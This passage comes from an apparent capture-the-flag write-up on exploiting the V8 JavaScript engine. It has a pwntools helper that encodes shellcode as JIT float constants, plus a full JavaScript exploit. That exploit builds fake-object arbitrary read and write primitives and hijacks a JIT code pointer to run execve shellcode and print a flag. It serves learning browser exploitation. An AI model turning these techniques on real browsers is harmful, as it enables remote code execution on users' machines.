bytes for shellcode and 2 bytes for the jump instruction. You can use this python script to generate your own shellcode:
from pwn import *
context.arch = "amd64"jmp = b'\xeb\x0c'
#print(disasm(jmp))
def print_double(shellcode): if len(shellcode) <= 6: chain = shellcode.ljust(6,b'\x90') chain += jmp print(f"itof({hex(u64(chain))}n);") else: print("max 6 bytes only") exit()That python will check if your shellcode is less than 6 bytes, then it will pad it with NOPs and add the jump instruction at the end, then print it in the format that we can use in our JS exploit.
Full Exploit
Finally, we can put everything together:
var buf = new ArrayBuffer(8);var f64_buf = new Float64Array(buf);var u64_buf = new Uint32Array(buf);
function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);}
function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0];}
const logInfo = (m) => console.log(`[*] ${m}`);const logOK = (m) => console.log(`[+] ${m}`);const logErr = (m) => console.log(`[-] ${m}`);
function toHex(i) { return "0x" + i.toString(16).padStart(8, "0");}
function assert(c, m="assert") { if (c) return; let at = ""; try { at = ((new Error()).stack || "").split("\n")[2].trim(); } catch {} const e = new Error(`[ASSERT] ${m}` + (at ? `\n at ${at}` : "")); if (Error.captureStackTrace) Error.captureStackTrace(e, assert); throw e;}
let float_arr = [1.1, 2.2, 3.3];// First we construct a fake map in memory// Remember that the first 4 WORDS (0x10 bytes || WORDS = 4 bytes in this case we// work with 32-bits address) of one object look like this:// map | properties | elements | lengthlet fake_map = [itof(0x123456789abcdefn), 1.1, 1.1, 1.1];let fake_map_addr = GetAddressOf(fake_map);// Address of the content of the fake map// So that we can use GetFakeObject on it to create a fake objectlet element_addr = fake_map_addr - 0x20;// Write a fake map pointer at the start of our float arrayfake_map[0] = itof(0x1cb8a5n);
function arbRead(addr) { addr = BigInt(addr);
if (addr % 2n == 0n) { addr += 1n; }
fake_map[1] = itof(0x600000000n + (addr - 8n)); let fake_obj = GetFakeObject(element_addr); return ftoi(fake_obj[0]);}
function arbWrite(addr, val) { addr = BigInt(addr); val = BigInt(val);
if (addr % 2n == 0n) { addr += 1n; }
fake_map[1] = itof(0x600000000n + (addr - 8n)); let fake_obj = GetFakeObject(element_addr); fake_obj[0] = itof(val);}
// execve("catflag", NULL, NULL)const shellcode = () => { return [ 1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61, ];};
for(let i = 0; i< 10000; i++){ shellcode();}
let shellcode_addr = GetAddressOf(shellcode);logOK("Shellcode addr: " + toHex(shellcode_addr));
// %DebugPrint(shellcode);
let code_ptr = arbRead(shellcode_addr + 0xc) & 0xffffffffn;logOK("code ptr: " + toHex(code_ptr));
let rwx_addr = arbRead(code_ptr + 0x14n);logOK("rwx addr: " + toHex(rwx_addr));
let shellcode_start = rwx_addr + 0x69n + 2n;logInfo("shellcode addr: " + toHex(shellcode_start));
arbWrite(code_ptr + 0x14n, shellcode_start);
// %SystemBreak();shellcode();// pwn.college{oF_cxWWy2Mn81r-l_Ad8Z7fYoM_.dZTO3UDL1MTNzYzW}Further Reading
These are some resources that I found helpful while working on these challenge: